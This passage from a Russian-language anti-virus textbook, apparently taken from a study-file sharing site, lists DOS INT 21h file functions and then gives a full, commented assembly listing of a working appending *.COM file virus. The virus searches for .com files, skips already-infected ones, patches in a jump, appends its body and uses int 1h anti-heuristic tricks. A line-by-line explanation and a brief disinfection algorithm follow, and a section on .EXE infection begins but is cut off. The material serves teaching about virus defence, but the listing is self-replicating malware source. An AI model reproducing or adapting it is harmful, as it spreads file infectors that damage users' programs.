Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

Технологии борьбы с компьютерными вирусами. Практическое пособие

.pdf
Скачиваний:
0
Добавлен:
15.08.2026
Размер:
1 Мб
Скачать

DOS вирусы

 

 

31

 

 

 

 

выход:

 

 

 

if CF=0 then

 

 

ax

= дескриптор файла

else

 

 

 

ax

= код ошибки (3,4,5) (таб 2)

Open — Открыть существующий файл

âõîä:

 

 

 

ah

= 3Dh

 

 

al

= режим доступа (таб 2)

cx

= атрибуты

ds:dx = èìÿ

выход:

 

 

 

if CF=0 then

 

 

ax

= дескриптор файла

else

 

 

 

ax

= код ошибки (1,2,3,4,5,0C)

Close — Закрыть файл

 

âõîä:

 

 

 

ah

= 3Eh

 

 

bx

= дескриптор

 

ds:dx

= èìÿ

 

 

выход:

 

 

 

if CF=0 then

 

 

ax

=

 

 

else

 

 

 

ax

= код ошибки (6)

 

Read — Чтение из файла

 

âõîä:

 

 

 

ah

= 3Fh

 

 

bx

= дескриптор

 

cx

= число байт

 

ds:dx

= буфер для чтения

выход:

 

 

 

if CF=0 then

ax = число прочитанных байт

Это значение может быть меньше CX, например, потому, что длина файла превышена.

else

ax = код ошибки (5,6)

Write — Записать в файл

âõîä:

 

 

ah

= 40h

 

bx

= дескриптор

cx

= число байт

ds:dx

= данные для записи

выход:

 

 

if CF=0 then

ax = число записанных байт else

ax = код ошибки (5,6)

32 DOS вирусы

Unlink — Удалить файл

âõîä:

 

 

ah

= 41h

 

cx

= атрибуты

ds:dx

= èìÿ

выход:

 

 

if CF=0 then ax =

else

ax = код ошибки (2,3,5)

LSeek — Установить указатель в файле

âõîä:

 

 

ah

= 42h

al

= точка отсчета указателя:

 

0 - от начала файла

 

1

- от текущего положения

 

2

- от конца

bx

= дескриптор

cx:dx

= смещение (cx=старшие 16 бит, dx=младшие)

выход:

 

if CF=0 then

dx:ax

= новое положение указателя относительно начала

else

ax = код ошибки (1,6)

Получить атрибуты файла

âõîä:

 

 

ax = 4300h

 

ds:dx

=

èìÿ

выход:

 

 

if CF=0 then cx = атрибуты

else

ax = код ошибки (1,2,3,5)

Chmod — Установить атрибуты файла

âõîä:

 

 

 

ax

= 4301h

 

cx

= новые атрибуты

ds:dx

=

èìÿ

выход:

 

 

 

if CF=0 then ax =

else

ax = код ошибки (1,2,3,5)

Выделить блок памяти

âõîä:

 

 

ah

=

48h

bx

=

размер блока в параграфах

выход:

if CF=0 then

DOS вирусы

33

 

 

 

ax = сегмент блока

else

 

ax = код ошибки (7,8)

 

bx = размер наибольшего доступного блока

Освободить память

âõîä:

 

ah

= 49h

es

= сегмент блока

выход:

if CF=0 then ax =

else

ax = код ошибки (7,9)

Изменить размер блока памяти

âõîä:

ah

= 4Ah

bx

=

новый размер

es

=

сегмент

выход:

if CF=0 then ax =

else

ax = код ошибки (7,8,9)

bx = размер наибольшего доступного блока

Exec — загрузить или выполнить программу

âõîä:

 

 

ah

= 4Bh

al

= тип загрузки:

 

0

- загрузить и выполнить

 

1

- загрузить и не выполнять

 

3

- загрузить оверлей

 

4

- загрузить и выполнить в фоновом режиме (dos 4.0)

es:bx

= блок параметров (таб. 3)

ds:dx

= имя программы

выход:

 

 

if CF=0 then bx,dx разрушены

else

ax = код ошибки (1,2,5,8,0A,0B)

FindFirst — найти первый файл

âõîä:

 

 

ah

= 4Eh

 

cx

= маска атрибутов

ds:dx

= маска имени (может содержать путь, * и ?)

выход:

 

 

if CF=0 then

 

[DTA]

- найденный файл (табл. 4)

else

 

ax = код ошибки (2,3,12h)

34 DOS вирусы

FindNext — найти следующий файл

âõîä:

 

ah = 4Fh

 

[DTA]

= структура от предыдущего вызова (не изменять!)

выход:

 

if CF=0 then

[DTA]

- следующий файл

else

 

ax = код ошибки (12h)

Получить дату и время файла

âõîä:

 

 

ax

=

5700h

bx

=

дескриптор файла

выход:

if CF=0 then

cx = время (как в табл. 4) dx = дата

else

ax = код ошибки (1,6)

Установить дату и время файла

âõîä:

 

ax

= 5701h

bx

= дескриптор файла

cx

= время (как в табл. 4)

dx

= äàòà

выход:

 

if CF=0 then

 

else

 

ax = код ошибки (1,6)

 

Таблица 1. Атрибуты файлов

 

 

 

 

Áèò

 

Значение

 

 

 

 

 

0

 

ReadOnly

 

 

 

 

 

1

 

Hidden

 

 

 

 

 

2

 

System

 

 

 

 

 

3

 

VolumeLabel

 

 

 

 

 

4

 

Directory

 

 

 

 

 

5

 

Archive

 

 

 

 

 

6

 

not used

 

 

 

 

 

7

 

not used

 

 

 

 

 

8

 

Shared (only Netware)

 

 

 

 

 

 

 

 

 

DOS вирусы

35

 

 

 

Таблица 2. Коды ошибок

 

 

 

1

 

Неверный номер функции

 

 

 

2

 

Файл не найден

 

 

 

3

 

Путь не найден

 

 

 

4

 

Слишком много открытых файлов

 

 

 

5

 

Доступ запрещен

 

 

 

6

 

Недопустимый дескриптор

 

 

 

7

 

Разрушен блок управления памятью

 

 

 

8

 

Недостаточно памяти

 

 

 

9

 

Недопустимый адрес блока памяти

 

 

 

A

 

Ошибка окружения

 

 

 

B

 

Недопустимый формат

 

 

 

11

 

Не то же устройство

 

 

 

12

 

Больше нет файлов

 

 

 

 

 

 

 

 

Таблица 3. Блок параметров Exec

 

 

 

Offset

 

Size

 

 

00

word. Сегмент окружения, копируемый для дочернего процесса.

Если 0, то сегмент вызывающей программы

 

 

 

02

dword. Указатель на командную строку к программе. Первый байт

командной строки — ее длина

 

 

 

06

dword. Указатель на первый FCB

 

 

0A

dword. Указатель на второй FCB

 

 

0E

dword. (для al=1) будет содержать начальный ss:sp программы

 

 

12

dword. (для al=1) будет содержать точку входа cs:ip

 

 

 

 

 

 

 

 

Таблица 4. Структура DTA для поиска файлов

 

 

 

Offset

 

Size

 

 

00

15h. Зарезервиировано

 

 

15h

byte. Атрибуты файла

 

 

16h

word. Времы файла. Биты: 11—15 — час; 5—10 — минута;

0—4 — секунды/2

 

 

 

18h

word. Дата файла. Биты: 9—15 — год — 1980; 5—8 — месяц;

0—4 — äåíü

 

 

 

1Ah

dword. Размер файла

 

 

1Eh

0Dh. Имя + расширение в формате asciiz

 

 

 

 

 

 

Теперь можно переходить к более сложным вирусам...

36

DOS вирусы

 

 

3.1.Простейшие *.COM вирусы

Âдальнейшем повествование будет сопровождаться исходными текстами на языке Ассемблера, так как реализация аналогичных вирусов на языке Паскаль очень трудоемка.

Самым распространенным методом размножения *.com вирусов является запоминание первых нескольких байт программы и замена их на переход на вирусное тело. После этого вирус восстанавливает оригинальные байты и выполняет свои функции (размножение...), и в конце концов он восстанавливает оригинальные байты и передает на них управление.

Программа с этого момента выполняется так, как и должна была. Но весь секрет в том, что эти байты после восстановления не сохраняются, это не запись в файл это восстановление «на лету» — в памяти. Поэтому при последующем запуске программы управление первым получает опять вирус, ну и т. д.

Следует рассмотреть, как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

Рассмотрим листинг: ;----------------------------------------

.model tiny

 

 

.code

 

 

org 100h

 

 

start:

db 0e9h,00h,00h

; Переход на начало вируса (st_vir)

st_vir:

call $+3

 

f_offset:

pop bp

 

 

int 1h

; Антиэвристика

 

sub bp, OFFSET f_offset

; Считаем смещение,

 

 

; с которого начинается вирусный

 

 

; êîä

 

lea si,[bp+orig_bytes]

; Восстанавливаем оригинальные 3 байта

 

mov di,100h

; Положим в стэк переход на

 

push di

; начало программы

 

movsw

 

 

movsb

 

 

lea dx,[bp+new_dta]

; Установим DTA

 

mov ah,1ah

 

DOS вирусы

 

37

 

 

 

 

int 21h

 

 

mov ah,09h

; Выведем сообщение

 

lea dx,[bp+msg]

;

 

int 21h

 

 

mov ah,4eh

; DOS-функция findfirst

 

lea dx,[bp+file_m]

; Ищем *.com файл (любой)

 

xor cx,cx

;

f_next:

int 21h

;

 

jc exit

; если ошибка или файлы кончились,

 

 

; то на выход

 

mov ax,3d00h

; Откроем найденный файл на чтение

 

lea dx,[bp+new_dta+30]

;

 

int 21h

;

 

xchg ax,bx

; положим хэндл в bx

 

mov ah,3fh

; Прочитаем из файла

 

lea dx,[bp+orig_bytes]

; оригинальный заголовок,

 

mov cx,3

; а если быть более точным, то 3 байта

 

int 21h

;

 

cmp word ptr[bp+orig_bytes],'MZ' ; Если это *.exe переименованный

 

je close

 

; в *.com, то переходим к следующему

 

cmp word ptr[bp+orig_bytes],'ZM' ; файлу

 

je close

 

;

 

mov ax,word ptr [bp+new_dta+26]

; Положим размер файла в ax

 

mov cx,word ptr [bp+orig_bytes+1] ;

 

add cx,end_vir-st_vir+3

; Добавим размер вируса

 

cmp ax,cx

; Если длины совпадают, то файл

 

jnz infect

; заражен, если нет - сейчас заразим

close:

mov ah,3eh

;

Закрываем файл

 

int 21h

;

 

 

mov ah,4fh

;

и ищем новый

 

jmp short f_next

;

 

exit:

mov dx,80h

; Восстанавливаем старый DTA

 

mov ah,1ah

 

 

 

int 21h

 

 

 

retn

; Переходим на начало программы

 

 

;

100h было ведь в стэке

infect:

 

 

 

 

mov ax,word ptr [bp+new_dta+26]

; Положим размер файла в ax

 

sub ax,3

 

; отнимем 3 и получим смещение для

 

mov word ptr [bp+jmp_offset],ax

; перехода на тело вируса

 

mov ah,3eh

;

 

 

int 21h

; Закроем файл

 

mov ax,3d02h

; Откроем на чтение/запись

 

int 21h

;

 

 

xchg ax,bx

; Положим хэндл в bx

 

mov ah,40h

; Запишем в файл

38

 

DOS вирусы

 

 

 

 

int 1h

; Антиэвристика

 

mov cx,3

; 3 байта

 

lea dx,[bp+header]

; это переход на тело вируса, которое

 

int 21h

; будет дописано к файлу

 

 

; Перейдем на конец файла

 

mov ax,4202h

 

 

xor cx,cx

 

 

xor dx,dx

 

 

int 21h

 

 

mov ah,40h

; Допишем тело вируса

 

int 1h

; Антиэвристика

 

mov cx,end_vir-st_vir

;

 

lea dx,[bp+st_vir]

;

 

int 21h

;

 

mov ah,3eh

; Закроем файл

 

int 21h

;

 

jmp exit

; и передадим управление оригинальной

 

 

; программе

msg db "[Par4s1+ic ChuM4 v 1.0 by sl0n]",0ah,0dh,"$" ; Сообщение

file_m

db '*.com',0

; маска файла для поиска

orig_bytes

db 0cdh,20h,0

; байты оригинального заголовка

header

db 0e9h

; переход на вирус

end_vir

equ $

; символ конца вируса

jmp_offset

dw ?

; переменная для смещения на вирус

new_dta

db 43 dup(?)

; массив для DTA

end start ;--------------------------------------------------

Данный вирус достаточно прост и хорошо комментирован, так что мы рассмотрим только важные моменты.

1. Дельта-смещение нужно для того, чтобы мы могли обращаться к своим данным в чужой программе:

;---------------------------------------------------

 

 

st_vir:

call $+3

 

f_offset:

pop bp

 

 

int 1h

; Антиэвристика

 

sub bp, OFFSET f_offset

; Считаем смещение,

 

 

; с которого начинается вирусный

 

 

; êîä

;----------------------------------------------------

 

 

После этого мы можем обращаться к данным следующим образом: [bp+data].

2. Проверка на инфицированность (чтобы повторно не заражать):

;----------------------------------------------------

 

 

mov ax,word ptr [bp+new_dta+26]

; Положим размер файла в ax

mov cx,word ptr [bp+orig_bytes+1] ;

add cx,end_vir-st_vir+3

;

Добавим размер вируса

cmp ax,cx

;

Если длины совпадают, то файл

jnz infect

;

заражен, если нет - сейчас заразим

DOS вирусы

39

 

 

Âпервой строчке в регистр ax ложится размер найденного файла, который хранится в new_dta по смещению 26.

Âorig_bytes в зараженной программе должно быть что-то вроде 0e9h xx xx. Во второй строке 2 и 3 байты из заголовка кладутся в cx.

Первый байт означает инструкцию jmp, а остальные два — смещение, куда

переходить. Так как этот вирус дописывается к концу, то xx xx будут указывать на конец файла (т. е. это размер незараженного файла).

В третьей строчке к размеру оригинального файла добавляется размер вируса плюс сохраненные 3 байта заголовка оригинального файла.

Из этих вычислений становится ясно, что если файл инфицирован, то ax и cx совпадут. Именно из этих соображений в начале вируса присутствуют такие строки:

;--------------------------------------------------

 

db 0e9h,00h,00h

; Переход на начало вируса (st_vir)

;---------------------------------------------------

 

Они необходимы, чтобы вирус сам себя не заражал.

3. Теперь взглянем, как вычисляется переход на тело вируса:

;------------------------------------------------

 

 

mov ax,word ptr [bp+new_dta+26]

; Положим

размер файла в ax

sub ax,3

; отнимем

3 и получим смещение для

mov word ptr [bp+jmp_offset],ax

; перехода на тело вируса

;------------------------------------------------

 

 

Здесь же приходится отнимать 3 байта из-за размера самого jmp xx xx, который при расчете учитываться не должен.

4. В начале для восстановления первых трех байт используются цепочечные команды, выделенные восклицательными знаками:

;------------------------------------------------

 

lea si,[bp+orig_bytes]

; Восстанавливаем оригинальные 3 байта

mov di,100h

; Положим в стэк переход на

push di

; начало программы

movsw

; !!!

movsb

; !!!

;-------------------------------------------------

 

Ну вот, с этим вирусом разобрались.

Для лечения данного вида вирусов уже используется более сложный алгоритм, рассмотрим его:

1)обнаружить зараженную программу;

2)определить, в каком месте данный вирус хранит оригинальные байты программы;

3)заменить вирусные байты в начале программы оригинальными;

4)удалить хвост вируса в конце программы (этого в принципе уже можно и не делать).

40

DOS вирусы

 

 

3.2. Простейшие *.EXE вирусы

Самый распространенный способ заражения .exe файлов: мы дописываем ему в конец тело своего вируса и корректируем заголовок (сохранив прежде его оригинальную версию) так, чтобы при запуске управление получал вирус (совсем как в *.com, но вместо перехода в коде мы корректируем сам адрес точки запуска программы).

При старте зараженного файла управление получит вирус. После всех операций вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученного при старте вируса) и передает управление на полученный адрес.

Рассмотрим структуру EXE заголовка:

Переходим к простейшему *.exe вирусу.

Следует рассмотреть как выглядит файл до инфицирования и после: а) до инфицирования:

б) после инфицирования:

Соседние файлы в предмете [НЕСОРТИРОВАННОЕ]